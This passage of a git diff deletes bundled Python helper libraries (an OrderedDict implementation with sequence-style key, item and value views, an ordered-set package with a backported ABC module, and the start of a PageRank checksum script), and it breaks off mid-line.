OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.reverse() - >>> d - OrderedDict([(2, 1), (3, 2), (1, 3)]) - """ - self._sequence.reverse() - - def sort(self, *args, **kwargs): - """ - Sort the key order in the OrderedDict. - - This method takes the same arguments as the ``list.sort`` method on - your version of Python. - - >>> d = OrderedDict(((4, 1), (2, 2), (3, 3), (1, 4))) - >>> d.sort() - >>> d - OrderedDict([(1, 4), (2, 2), (3, 3), (4, 1)]) - """ - self._sequence.sort(*args, **kwargs) - -if INTP_VER >= (2, 7): - from collections import OrderedDict -else: - OrderedDict = _OrderedDict - -class Keys(object): - # FIXME: should this object be a subclass of list? - """ - Custom object for accessing the keys of an OrderedDict. - - Can be called like the normal ``OrderedDict.keys`` method, but also - supports indexing and sequence methods. - """ - - def __init__(self, main): - self._main = main - - def __call__(self): - """Pretend to be the keys method.""" - return self._main._keys() - - def __getitem__(self, index): - """Fetch the key at position i.""" - # NOTE: this automatically supports slicing :-) - return self._main._sequence[index] - - def __setitem__(self, index, name): - """ - You cannot assign to keys, but you can do slice assignment to re-order - them. - - You can only do slice assignment if the new set of keys is a reordering - of the original set. - """ - if isinstance(index, types.SliceType): - # FIXME: efficiency? - # check length is the same - indexes = range(len(self._main._sequence))[index] - if len(indexes) != len(name): - raise ValueError('attempt to assign sequence of size %s ' - 'to slice of size %s' % (len(name), len(indexes))) - # check they are the same keys - # FIXME: Use set - old_keys = self._main._sequence[index] - new_keys = list(name) - old_keys.sort() - new_keys.sort() - if old_keys != new_keys: - raise KeyError('Keylist is not the same as current keylist.') - orig_vals = [self._main[k] for k in name] - del self._main[index] - vals = zip(indexes, name, orig_vals) - vals.sort() - for i, k, v in vals: - if self._main.strict and k in self._main: - raise ValueError('slice assignment must be from ' - 'unique keys') - self._main.insert(i, k, v) - else: - raise ValueError('Cannot assign to keys') - - ### following methods pinched from UserList and adapted ### - def __repr__(self): return repr(self._main._sequence) - - # FIXME: do we need to check if we are comparing with another ``Keys`` - # object? (like the __cast method of UserList) - def __lt__(self, other): return self._main._sequence < other - def __le__(self, other): return self._main._sequence <= other - def __eq__(self, other): return self._main._sequence == other - def __ne__(self, other): return self._main._sequence != other - def __gt__(self, other): return self._main._sequence > other - def __ge__(self, other): return self._main._sequence >= other - # FIXME: do we need __cmp__ as well as rich comparisons? - def __cmp__(self, other): return cmp(self._main._sequence, other) - - def __contains__(self, item): return item in self._main._sequence - def __len__(self): return len(self._main._sequence) - def __iter__(self): return self._main.iterkeys() - def count(self, item): return self._main._sequence.count(item) - def index(self, item, *args): return self._main._sequence.index(item, *args) - def reverse(self): self._main._sequence.reverse() - def sort(self, *args, **kwds): self._main._sequence.sort(*args, **kwds) - def __mul__(self, n): return self._main._sequence*n - __rmul__ = __mul__ - def __add__(self, other): return self._main._sequence + other - def __radd__(self, other): return other + self._main._sequence - - ## following methods not implemented for keys ## - def __delitem__(self, i): raise TypeError('Can\'t delete items from keys') - def __iadd__(self, other): raise TypeError('Can\'t add in place to keys') - def __imul__(self, n): raise TypeError('Can\'t multiply keys in place') - def append(self, item): raise TypeError('Can\'t append items to keys') - def insert(self, i, item): raise TypeError('Can\'t insert items into keys') - def pop(self, i=-1): raise TypeError('Can\'t pop items from keys') - def remove(self, item): raise TypeError('Can\'t remove items from keys') - def extend(self, other): raise TypeError('Can\'t extend keys') - -class Items(object): - """ - Custom object for accessing the items of an OrderedDict. - - Can be called like the normal ``OrderedDict.items`` method, but also - supports indexing and sequence methods. - """ - - def __init__(self, main): - self._main = main - - def __call__(self): - """Pretend to be the items method.""" - return self._main._items() - - def __getitem__(self, index): - """Fetch the item at position i.""" - if isinstance(index, types.SliceType): - # fetching a slice returns an OrderedDict - return self._main[index].items() - key = self._main._sequence[index] - return (key, self._main[key]) - - def __setitem__(self, index, item): - """Set item at position i to item.""" - if isinstance(index, types.SliceType): - # NOTE: item must be an iterable (list of tuples) - self._main[index] = OrderedDict(item) - else: - # FIXME: Does this raise a sensible error? - orig = self._main.keys[index] - key, value = item - if self._main.strict and key in self and (key != orig): - raise ValueError('slice assignment must be from ' - 'unique keys') - # delete the current one - del self._main[self._main._sequence[index]] - self._main.insert(index, key, value) - - def __delitem__(self, i): - """Delete the item at position i.""" - key = self._main._sequence[i] - if isinstance(i, types.SliceType): - for k in key: - # FIXME: efficiency? - del self._main[k] - else: - del self._main[key] - - ### following methods pinched from UserList and adapted ### - def __repr__(self): return repr(self._main.items()) - - # FIXME: do we need to check if we are comparing with another ``Items`` - # object? (like the __cast method of UserList) - def __lt__(self, other): return self._main.items() < other - def __le__(self, other): return self._main.items() <= other - def __eq__(self, other): return self._main.items() == other - def __ne__(self, other): return self._main.items() != other - def __gt__(self, other): return self._main.items() > other - def __ge__(self, other): return self._main.items() >= other - def __cmp__(self, other): return cmp(self._main.items(), other) - - def __contains__(self, item): return item in self._main.items() - def __len__(self): return len(self._main._sequence) # easier :-) - def __iter__(self): return self._main.iteritems() - def count(self, item): return self._main.items().count(item) - def index(self, item, *args): return self._main.items().index(item, *args) - def reverse(self): self._main.reverse() - def sort(self, *args, **kwds): self._main.sort(*args, **kwds) - def __mul__(self, n): return self._main.items()*n - __rmul__ = __mul__ - def __add__(self, other): return self._main.items() + other - def __radd__(self, other): return other + self._main.items() - - def append(self, item): - """Add an item to the end.""" - # FIXME: this is only append if the key isn't already present - key, value = item - self._main[key] = value - - def insert(self, i, item): - key, value = item - self._main.insert(i, key, value) - - def pop(self, i=-1): - key = self._main._sequence[i] - return (key, self._main.pop(key)) - - def remove(self, item): - key, value = item - try: - assert value == self._main[key] - except (KeyError, AssertionError): - raise ValueError('ValueError: list.remove(x): x not in list') - else: - del self._main[key] - - def extend(self, other): - # FIXME: is only a true extend if none of the keys already present - for item in other: - key, value = item - self._main[key] = value - - def __iadd__(self, other): - self.extend(other) - - ## following methods not implemented for items ## - - def __imul__(self, n): raise TypeError('Can\'t multiply items in place') - -class Values(object): - """ - Custom object for accessing the values of an OrderedDict. - - Can be called like the normal ``OrderedDict.values`` method, but also - supports indexing and sequence methods. - """ - - def __init__(self, main): - self._main = main - - def __call__(self): - """Pretend to be the values method.""" - return self._main._values() - - def __getitem__(self, index): - """Fetch the value at position i.""" - if isinstance(index, types.SliceType): - return [self._main[key] for key in self._main._sequence[index]] - else: - return self._main[self._main._sequence[index]] - - def __setitem__(self, index, value): - """ - Set the value at position i to value. - - You can only do slice assignment to values if you supply a sequence of - equal length to the slice you are replacing. - """ - if isinstance(index, types.SliceType): - keys = self._main._sequence[index] - if len(keys) != len(value): - raise ValueError('attempt to assign sequence of size %s ' - 'to slice of size %s' % (len(name), len(keys))) - # FIXME: efficiency? Would be better to calculate the indexes - # directly from the slice object - # NOTE: the new keys can collide with existing keys (or even - # contain duplicates) - these will overwrite - for key, val in zip(keys, value): - self._main[key] = val - else: - self._main[self._main._sequence[index]] = value - - ### following methods pinched from UserList and adapted ### - def __repr__(self): return repr(self._main.values()) - - # FIXME: do we need to check if we are comparing with another ``Values`` - # object? (like the __cast method of UserList) - def __lt__(self, other): return self._main.values() < other - def __le__(self, other): return self._main.values() <= other - def __eq__(self, other): return self._main.values() == other - def __ne__(self, other): return self._main.values() != other - def __gt__(self, other): return self._main.values() > other - def __ge__(self, other): return self._main.values() >= other - def __cmp__(self, other): return cmp(self._main.values(), other) - - def __contains__(self, item): return item in self._main.values() - def __len__(self): return len(self._main._sequence) # easier :-) - def __iter__(self): return self._main.itervalues() - def count(self, item): return self._main.values().count(item) - def index(self, item, *args): return self._main.values().index(item, *args) - - def reverse(self): - """Reverse the values""" - vals = self._main.values() - vals.reverse() - # FIXME: efficiency - self[:] = vals - - def sort(self, *args, **kwds): - """Sort the values.""" - vals = self._main.values() - vals.sort(*args, **kwds) - self[:] = vals - - def __mul__(self, n): return self._main.values()*n - __rmul__ = __mul__ - def __add__(self, other): return self._main.values() + other - def __radd__(self, other): return other + self._main.values() - - ## following methods not implemented for values ## - def __delitem__(self, i): raise TypeError('Can\'t delete items from values') - def __iadd__(self, other): raise TypeError('Can\'t add in place to values') - def __imul__(self, n): raise TypeError('Can\'t multiply values in place') - def append(self, item): raise TypeError('Can\'t append items to values') - def insert(self, i, item): raise TypeError('Can\'t insert items into values') - def pop(self, i=-1): raise TypeError('Can\'t pop items from values') - def remove(self, item): raise TypeError('Can\'t remove items from values') - def extend(self, other): raise TypeError('Can\'t extend values') - -class SequenceOrderedDict(OrderedDict): - """ - Experimental version of OrderedDict that has a custom object for ``keys``, - ``values``, and ``items``. - - These are callable sequence objects that work as methods, or can be - manipulated directly as sequences. - - Test for ``keys``, ``items`` and ``values``. - - >>> d = SequenceOrderedDict(((1, 2), (2, 3), (3, 4))) - >>> d - SequenceOrderedDict([(1, 2), (2, 3), (3, 4)]) - >>> d.keys - [1, 2, 3] - >>> d.keys() - [1, 2, 3] - >>> d.setkeys((3, 2, 1)) - >>> d - SequenceOrderedDict([(3, 4), (2, 3), (1, 2)]) - >>> d.setkeys((1, 2, 3)) - >>> d.keys[0] - 1 - >>> d.keys[:] - [1, 2, 3] - >>> d.keys[-1] - 3 - >>> d.keys[-2] - 2 - >>> d.keys[0:2] = [2, 1] - >>> d - SequenceOrderedDict([(2, 3), (1, 2), (3, 4)]) - >>> d.keys.reverse() - >>> d.keys - [3, 1, 2] - >>> d.keys = [1, 2, 3] - >>> d - SequenceOrderedDict([(1, 2), (2, 3), (3, 4)]) - >>> d.keys = [3, 1, 2] - >>> d - SequenceOrderedDict([(3, 4), (1, 2), (2, 3)]) - >>> a = SequenceOrderedDict() - >>> b = SequenceOrderedDict() - >>> a.keys == b.keys - 1 - >>> a['a'] = 3 - >>> a.keys == b.keys - 0 - >>> b['a'] = 3 - >>> a.keys == b.keys - 1 - >>> b['b'] = 3 - >>> a.keys == b.keys - 0 - >>> a.keys > b.keys - 0 - >>> a.keys < b.keys - 1 - >>> 'a' in a.keys - 1 - >>> len(b.keys) - 2 - >>> 'c' in d.keys - 0 - >>> 1 in d.keys - 1 - >>> [v for v in d.keys] - [3, 1, 2] - >>> d.keys.sort() - >>> d.keys - [1, 2, 3] - >>> d = SequenceOrderedDict(((1, 2), (2, 3), (3, 4)), strict=True) - >>> d.keys[::-1] = [1, 2, 3] - >>> d - SequenceOrderedDict([(3, 4), (2, 3), (1, 2)]) - >>> d.keys[:2] - [3, 2] - >>> d.keys[:2] = [1, 3] - Traceback (most recent call last): - KeyError: 'Keylist is not the same as current keylist.' - - >>> d = SequenceOrderedDict(((1, 2), (2, 3), (3, 4))) - >>> d - SequenceOrderedDict([(1, 2), (2, 3), (3, 4)]) - >>> d.values - [2, 3, 4] - >>> d.values() - [2, 3, 4] - >>> d.setvalues((4, 3, 2)) - >>> d - SequenceOrderedDict([(1, 4), (2, 3), (3, 2)]) - >>> d.values[::-1] - [2, 3, 4] - >>> d.values[0] - 4 - >>> d.values[-2] - 3 - >>> del d.values[0] - Traceback (most recent call last): - TypeError: Can't delete items from values - >>> d.values[::2] = [2, 4] - >>> d - SequenceOrderedDict([(1, 2), (2, 3), (3, 4)]) - >>> 7 in d.values - 0 - >>> len(d.values) - 3 - >>> [val for val in d.values] - [2, 3, 4] - >>> d.values[-1] = 2 - >>> d.values.count(2) - 2 - >>> d.values.index(2) - 0 - >>> d.values[-1] = 7 - >>> d.values - [2, 3, 7] - >>> d.values.reverse() - >>> d.values - [7, 3, 2] - >>> d.values.sort() - >>> d.values - [2, 3, 7] - >>> d.values.append('anything') - Traceback (most recent call last): - TypeError: Can't append items to values - >>> d.values = (1, 2, 3) - >>> d - SequenceOrderedDict([(1, 1), (2, 2), (3, 3)]) - - >>> d = SequenceOrderedDict(((1, 2), (2, 3), (3, 4))) - >>> d - SequenceOrderedDict([(1, 2), (2, 3), (3, 4)]) - >>> d.items() - [(1, 2), (2, 3), (3, 4)] - >>> d.setitems([(3, 4), (2 ,3), (1, 2)]) - >>> d - SequenceOrderedDict([(3, 4), (2, 3), (1, 2)]) - >>> d.items[0] - (3, 4) - >>> d.items[:-1] - [(3, 4), (2, 3)] - >>> d.items[1] = (6, 3) - >>> d.items - [(3, 4), (6, 3), (1, 2)] - >>> d.items[1:2] = [(9, 9)] - >>> d - SequenceOrderedDict([(3, 4), (9, 9), (1, 2)]) - >>> del d.items[1:2] - >>> d - SequenceOrderedDict([(3, 4), (1, 2)]) - >>> (3, 4) in d.items - 1 - >>> (4, 3) in d.items - 0 - >>> len(d.items) - 2 - >>> [v for v in d.items] - [(3, 4), (1, 2)] - >>> d.items.count((3, 4)) - 1 - >>> d.items.index((1, 2)) - 1 - >>> d.items.index((2, 1)) - Traceback (most recent call last): - ValueError: list.index(x): x not in list - >>> d.items.reverse() - >>> d.items - [(1, 2), (3, 4)] - >>> d.items.reverse() - >>> d.items.sort() - >>> d.items - [(1, 2), (3, 4)] - >>> d.items.append((5, 6)) - >>> d.items - [(1, 2), (3, 4), (5, 6)] - >>> d.items.insert(0, (0, 0)) - >>> d.items - [(0, 0), (1, 2), (3, 4), (5, 6)] - >>> d.items.insert(-1, (7, 8)) - >>> d.items - [(0, 0), (1, 2), (3, 4), (7, 8), (5, 6)] - >>> d.items.pop() - (5, 6) - >>> d.items - [(0, 0), (1, 2), (3, 4), (7, 8)] - >>> d.items.remove((1, 2)) - >>> d.items - [(0, 0), (3, 4), (7, 8)] - >>> d.items.extend([(1, 2), (5, 6)]) - >>> d.items - [(0, 0), (3, 4), (7, 8), (1, 2), (5, 6)] - """ - - def __init__(self, init_val=(), strict=True): - OrderedDict.__init__(self, init_val, strict=strict) - self._keys = self.keys - self._values = self.values - self._items = self.items - self.keys = Keys(self) - self.values = Values(self) - self.items = Items(self) - self._att_dict = { - 'keys': self.setkeys, - 'items': self.setitems, - 'values': self.setvalues, - } - - def __setattr__(self, name, value): - """Protect keys, items, and values.""" - if not '_att_dict' in self.__dict__: - object.__setattr__(self, name, value) - else: - try: - fun = self._att_dict[name] - except KeyError: - OrderedDict.__setattr__(self, name, value) - else: - fun(value) - -if __name__ == '__main__': - if INTP_VER < (2, 3): - raise RuntimeError("Tests require Python v.2.3 or later") - # turn off warnings for tests - warnings.filterwarnings('ignore') - # run the code tests in doctest format - import doctest - m = sys.modules.get('__main__') - globs = m.__dict__.copy() - globs.update({ - 'INTP_VER': INTP_VER, - }) - doctest.testmod(m, globs=globs) - diff --git a/extra/oset/LICENSE.txt b/extra/oset/LICENSE.txt deleted file mode 100644 index aef85dda33c..00000000000 --- a/extra/oset/LICENSE.txt +++ /dev/null @@ -1,29 +0,0 @@ -License -======= - -Copyright (c) 2009, Raymond Hettinger, and others -All rights reserved. - -Package structured based on the one developed to odict -Copyright (c) 2010, BlueDynamics Alliance, Austria - - -* Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. -* Redistributions in binary form must reproduce the above copyright notice, this - list of conditions and the following disclaimer in the documentation and/or - other materials provided with the distribution. -* Neither the name of the BlueDynamics Alliance nor the names of its - contributors may be used to endorse or promote products derived from this - software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY BlueDynamics Alliance ``AS IS`` AND ANY -EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL BlueDynamics Alliance BE LIABLE FOR ANY -DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND -ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/extra/oset/__init__.py b/extra/oset/__init__.py deleted file mode 100644 index 688b31e9230..00000000000 --- a/extra/oset/__init__.py +++ /dev/null @@ -1,3 +0,0 @@ -"""Main Ordered Set module """ - -from pyoset import oset diff --git a/extra/oset/_abc.py b/extra/oset/_abc.py deleted file mode 100644 index d3cf1b51ef1..00000000000 --- a/extra/oset/_abc.py +++ /dev/null @@ -1,476 +0,0 @@ -#!/usr/bin/env python -# -*- mode:python; tab-width: 2; coding: utf-8 -*- - -"""Partially backported python ABC classes""" - -from __future__ import absolute_import - -import sys -import types - -if sys.version_info > (2, 6): - raise ImportError("Use native ABC classes istead of this one.") - - -# Instance of old-style class -class _C: - pass - -_InstanceType = type(_C()) - - -def abstractmethod(funcobj): - """A decorator indicating abstract methods. - - Requires that the metaclass is ABCMeta or derived from it. A - class that has a metaclass derived from ABCMeta cannot be - instantiated unless all of its abstract methods are overridden. - The abstract methods can be called using any of the normal - 'super' call mechanisms. - - Usage: - - class C: - __metaclass__ = ABCMeta - @abstractmethod - def my_abstract_method(self, ...): - ... - """ - funcobj.__isabstractmethod__ = True - return funcobj - - -class ABCMeta(type): - - """Metaclass for defining Abstract Base Classes (ABCs). - - Use this metaclass to create an ABC. An ABC can be subclassed - directly, and then acts as a mix-in class. You can also register - unrelated concrete classes (even built-in classes) and unrelated - ABCs as 'virtual subclasses' -- these and their descendants will - be considered subclasses of the registering ABC by the built-in - issubclass() function, but the registering ABC won't show up in - their MRO (Method Resolution Order) nor will method - implementations defined by the registering ABC be callable (not - even via super()). - - """ - - # A global counter that is incremented each time a class is - # registered as a virtual subclass of anything. It forces the - # negative cache to be cleared before its next use. - _abc_invalidation_counter = 0 - - def __new__(mcls, name, bases, namespace): - cls = super(ABCMeta, mcls).__new__(mcls, name, bases, namespace) - # Compute set of abstract method names - abstracts = set(name - for name, value in namespace.items() - if getattr(value, "__isabstractmethod__", False)) - for base in bases: - for name in getattr(base, "__abstractmethods__", set()): - value = getattr(cls, name, None) - if getattr(value, "__isabstractmethod__", False): - abstracts.add(name) - cls.__abstractmethods__ = frozenset(abstracts) - # Set up inheritance registry - cls._abc_registry = set() - cls._abc_cache = set() - cls._abc_negative_cache = set() - cls._abc_negative_cache_version = ABCMeta._abc_invalidation_counter - return cls - - def register(cls, subclass): - """Register a virtual subclass of an ABC.""" - if not isinstance(subclass, (type, types.ClassType)): - raise TypeError("Can only register classes") - if issubclass(subclass, cls): - return # Already a subclass - # Subtle: test for cycles *after* testing for "already a subclass"; - # this means we allow X.register(X) and interpret it as a no-op. - if issubclass(cls, subclass): - # This would create a cycle, which is bad for the algorithm below - raise RuntimeError("Refusing to create an inheritance cycle") - cls._abc_registry.add(subclass) - ABCMeta._abc_invalidation_counter += 1 # Invalidate negative cache - - def _dump_registry(cls, file=None): - """Debug helper to print the ABC registry.""" - print >> file, "Class: %s.%s" % (cls.__module__, cls.__name__) - print >> file, "Inv.counter: %s" % ABCMeta._abc_invalidation_counter - for name in sorted(cls.__dict__.keys()): - if name.startswith("_abc_"): - value = getattr(cls, name) - print >> file, "%s: %r" % (name, value) - - def __instancecheck__(cls, instance): - """Override for isinstance(instance, cls).""" - # Inline the cache checking when it's simple. - subclass = getattr(instance, '__class__', None) - if subclass in cls._abc_cache: - return True - subtype = type(instance) - # Old-style instances - if subtype is _InstanceType: - subtype = subclass - if subtype is subclass or subclass is None: - if (cls._abc_negative_cache_version == - ABCMeta._abc_invalidation_counter and - subtype in cls._abc_negative_cache): - return False - # Fall back to the subclass check. - return cls.__subclasscheck__(subtype) - return (cls.__subclasscheck__(subclass) or - cls.__subclasscheck__(subtype)) - - def __subclasscheck__(cls, subclass): - """Override for issubclass(subclass, cls).""" - # Check cache - if subclass in cls._abc_cache: - return True - # Check negative cache; may have to invalidate - if cls._abc_negative_cache_version < ABCMeta._abc_invalidation_counter: - # Invalidate the negative cache - cls._abc_negative_cache = set() - cls._abc_negative_cache_version = ABCMeta._abc_invalidation_counter - elif subclass in cls._abc_negative_cache: - return False - # Check the subclass hook - ok = cls.__subclasshook__(subclass) - if ok is not NotImplemented: - assert isinstance(ok, bool) - if ok: - cls._abc_cache.add(subclass) - else: - cls._abc_negative_cache.add(subclass) - return ok - # Check if it's a direct subclass - if cls in getattr(subclass, '__mro__', ()): - cls._abc_cache.add(subclass) - return True - # Check if it's a subclass of a registered class (recursive) - for rcls in cls._abc_registry: - if issubclass(subclass, rcls): - cls._abc_cache.add(subclass) - return True - # Check if it's a subclass of a subclass (recursive) - for scls in cls.__subclasses__(): - if issubclass(subclass, scls): - cls._abc_cache.add(subclass) - return True - # No dice; update negative cache - cls._abc_negative_cache.add(subclass) - return False - - -def _hasattr(C, attr): - try: - return any(attr in B.__dict__ for B in C.__mro__) - except AttributeError: - # Old-style class - return hasattr(C, attr) - - -class Sized: - __metaclass__ = ABCMeta - - @abstractmethod - def __len__(self): - return 0 - - @classmethod - def __subclasshook__(cls, C): - if cls is Sized: - if _hasattr(C, "__len__"): - return True - return NotImplemented - - -class Container: - __metaclass__ = ABCMeta - - @abstractmethod - def __contains__(self, x): - return False - - @classmethod - def __subclasshook__(cls, C): - if cls is Container: - if _hasattr(C, "__contains__"): - return True - return NotImplemented - - -class Iterable: - __metaclass__ = ABCMeta - - @abstractmethod - def __iter__(self): - while False: - yield None - - @classmethod - def __subclasshook__(cls, C): - if cls is Iterable: - if _hasattr(C, "__iter__"): - return True - return NotImplemented - -Iterable.register(str) - - -class Set(Sized, Iterable, Container): - """A set is a finite, iterable container. - - This class provides concrete generic implementations of all - methods except for __contains__, __iter__ and __len__. - - To override the comparisons (presumably for speed, as the - semantics are fixed), all you have to do is redefine __le__ and - then the other operations will automatically follow suit. - """ - - def __le__(self, other): - if not isinstance(other, Set): - return NotImplemented - if len(self) > len(other): - return False - for elem in self: - if elem not in other: - return False - return True - - def __lt__(self, other): - if not isinstance(other, Set): - return NotImplemented - return len(self) < len(other) and self.__le__(other) - - def __gt__(self, other): - if not isinstance(other, Set): - return NotImplemented - return other < self - - def __ge__(self, other): - if not isinstance(other, Set): - return NotImplemented - return other <= self - - def __eq__(self, other): - if not isinstance(other, Set): - return NotImplemented - return len(self) == len(other) and self.__le__(other) - - def __ne__(self, other): - return not (self == other) - - @classmethod - def _from_iterable(cls, it): - '''Construct an instance of the class from any iterable input. - - Must override this method if the class constructor signature - does not accept an iterable for an input. - ''' - return cls(it) - - def __and__(self, other): - if not isinstance(other, Iterable): - return NotImplemented - return self._from_iterable(value for value in other if value in self) - - def isdisjoint(self, other): - for value in other: - if value in self: - return False - return True - - def __or__(self, other): - if not isinstance(other, Iterable): - return NotImplemented - chain = (e for s in (self, other) for e in s) - return self._from_iterable(chain) - - def __sub__(self, other): - if not isinstance(other, Set): - if not isinstance(other, Iterable): - return NotImplemented - other = self._from_iterable(other) - return self._from_iterable(value for value in self - if value not in other) - - def __xor__(self, other): - if not isinstance(other, Set): - if not isinstance(other, Iterable): - return NotImplemented - other = self._from_iterable(other) - return (self - other) | (other - self) - - # Sets are not hashable by default, but subclasses can change this - __hash__ = None - - def _hash(self): - """Compute the hash value of a set. - - Note that we don't define __hash__: not all sets are hashable. - But if you define a hashable set type, its __hash__ should - call this function. - - This must be compatible __eq__. - - All sets ought to compare equal if they contain the same - elements, regardless of how they are implemented, and - regardless of the order of the elements; so there's not much - freedom for __eq__ or __hash__. We match the algorithm used - by the built-in frozenset type. - """ - MAX = sys.maxint - MASK = 2 * MAX + 1 - n = len(self) - h = 1927868237 * (n + 1) - h &= MASK - for x in self: - hx = hash(x) - h ^= (hx ^ (hx << 16) ^ 89869747) * 3644798167 - h &= MASK - h = h * 69069 + 907133923 - h &= MASK - if h > MAX: - h -= MASK + 1 - if h == -1: - h = 590923713 - return h - -Set.register(frozenset) - - -class MutableSet(Set): - - @abstractmethod - def add(self, value): - """Add an element.""" - raise NotImplementedError - - @abstractmethod - def discard(self, value): - """Remove an element. Do not raise an exception if absent.""" - raise NotImplementedError - - def remove(self, value): - """Remove an element. If not a member, raise a KeyError.""" - if value not in self: - raise KeyError(value) - self.discard(value) - - def pop(self): - """Return the popped value. Raise KeyError if empty.""" - it = iter(self) - try: - value = it.next() - except StopIteration: - raise KeyError - self.discard(value) - return value - - def clear(self): - """This is slow (creates N new iterators!) but effective.""" - try: - while True: - self.pop() - except KeyError: - pass - - def __ior__(self, it): - for value in it: - self.add(value) - return self - - def __iand__(self, it): - for value in (self - it): - self.discard(value) - return self - - def __ixor__(self, it): - if not isinstance(it, Set): - it = self._from_iterable(it) - for value in it: - if value in self: - self.discard(value) - else: - self.add(value) - return self - - def __isub__(self, it): - for value in it: - self.discard(value) - return self - -MutableSet.register(set) - - -class OrderedSet(MutableSet): - - def __init__(self, iterable=None): - self.end = end = [] - end += [None, end, end] # sentinel node for doubly linked list - self.map = {} # key --> [key, prev, next] - if iterable is not None: - self |= iterable - - def __len__(self): - return len(self.map) - - def __contains__(self, key): - return key in self.map - - def __getitem__(self, key): - return list(self)[key] - - def add(self, key): - if key not in self.map: - end = self.end - curr = end[PREV] - curr[NEXT] = end[PREV] = self.map[key] = [key, curr, end] - - def discard(self, key): - if key in self.map: - key, prev, next = self.map.pop(key) - prev[NEXT] = next - next[PREV] = prev - - def __iter__(self): - end = self.end - curr = end[NEXT] - while curr is not end: - yield curr[KEY] - curr = curr[NEXT] - - def __reversed__(self): - end = self.end - curr = end[PREV] - while curr is not end: - yield curr[KEY] - curr = curr[PREV] - - def pop(self, last=True): - if not self: - raise KeyError('set is empty') - key = reversed(self).next() if last else iter(self).next() - self.discard(key) - return key - - def __repr__(self): - if not self: - return '%s()' % (self.__class__.__name__,) - return '%s(%r)' % (self.__class__.__name__, list(self)) - - def __eq__(self, other): - if isinstance(other, OrderedSet): - return len(self) == len(other) and list(self) == list(other) - return set(self) == set(other) - - def __del__(self): - if all([KEY, PREV, NEXT]): - self.clear() # remove circular references - -if __name__ == '__main__': - print(OrderedSet('abracadaba')) - print(OrderedSet('simsalabim')) diff --git a/extra/oset/pyoset.py b/extra/oset/pyoset.py deleted file mode 100644 index 2a67455bc22..00000000000 --- a/extra/oset/pyoset.py +++ /dev/null @@ -1,83 +0,0 @@ -#!/usr/bin/env python -# -*- mode:python; tab-width: 2; coding: utf-8 -*- - -"""Partially backported python ABC classes""" - -from __future__ import absolute_import - -try: - from collections import MutableSet -except ImportError: - # Running in Python <= 2.5 - from ._abc import MutableSet - - -KEY, PREV, NEXT = range(3) - - -class OrderedSet(MutableSet): - - def __init__(self, iterable=None): - self.end = end = [] - end += [None, end, end] # sentinel node for doubly linked list - self.map = {} # key --> [key, prev, next] - if iterable is not None: - self |= iterable - - def __len__(self): - return len(self.map) - - def __contains__(self, key): - return key in self.map - - def __getitem__(self, key): - return list(self)[key] - - def add(self, key): - if key not in self.map: - end = self.end - curr = end[PREV] - curr[NEXT] = end[PREV] = self.map[key] = [key, curr, end] - - def discard(self, key): - if key in self.map: - key, prev, next = self.map.pop(key) - prev[NEXT] = next - next[PREV] = prev - - def __iter__(self): - end = self.end - curr = end[NEXT] - while curr is not end: - yield curr[KEY] - curr = curr[NEXT] - - def __reversed__(self): - end = self.end - curr = end[PREV] - while curr is not end: - yield curr[KEY] - curr = curr[PREV] - - def pop(self, last=True): - if not self: - raise KeyError('set is empty') - key = reversed(self).next() if last else iter(self).next() - self.discard(key) - return key - - def __repr__(self): - if not self: - return '%s()' % (self.__class__.__name__,) - return '%s(%r)' % (self.__class__.__name__, list(self)) - - def __eq__(self, other): - if isinstance(other, OrderedSet): - return len(self) == len(other) and list(self) == list(other) - return set(self) == set(other) - - def __del__(self): - if all([KEY, PREV, NEXT]): - self.clear() # remove circular references - -oset = OrderedSet diff --git a/extra/pagerank/__init__.py b/extra/pagerank/__init__.py deleted file mode 100644 index 67837734347..00000000000 --- a/extra/pagerank/__init__.py +++ /dev/null @@ -1,26 +0,0 @@ -#!/usr/bin/env python -# -# The MIT License -# -# Copyright 2010 Corey Goldberg -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. -# - -pass diff --git a/extra/pagerank/pagerank.py b/extra/pagerank/pagerank.py deleted file mode 100644 index 60a654fd1cc..00000000000 --- a/extra/pagerank/pagerank.py +++ /dev/null @@ -1,78 +0,0 @@ -#!/usr/bin/env python -# -# Script for getting Google Page Rank of page -# Google Toolbar 3.0.x/4.0.x Pagerank Checksum Algorithm -# -# original from http://pagerank.gamesaga.net/ -# this version was adapted from http://www.djangosnippets.org/snippets/221/ -# by Corey Goldberg - 2010 -# -# important update (http://www.seroundtable.com/google-pagerank-change-14132.html) -# by Miroslav Stampar - 2012 -# -# Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php - -import urllib - -def get_pagerank(url): - _ = 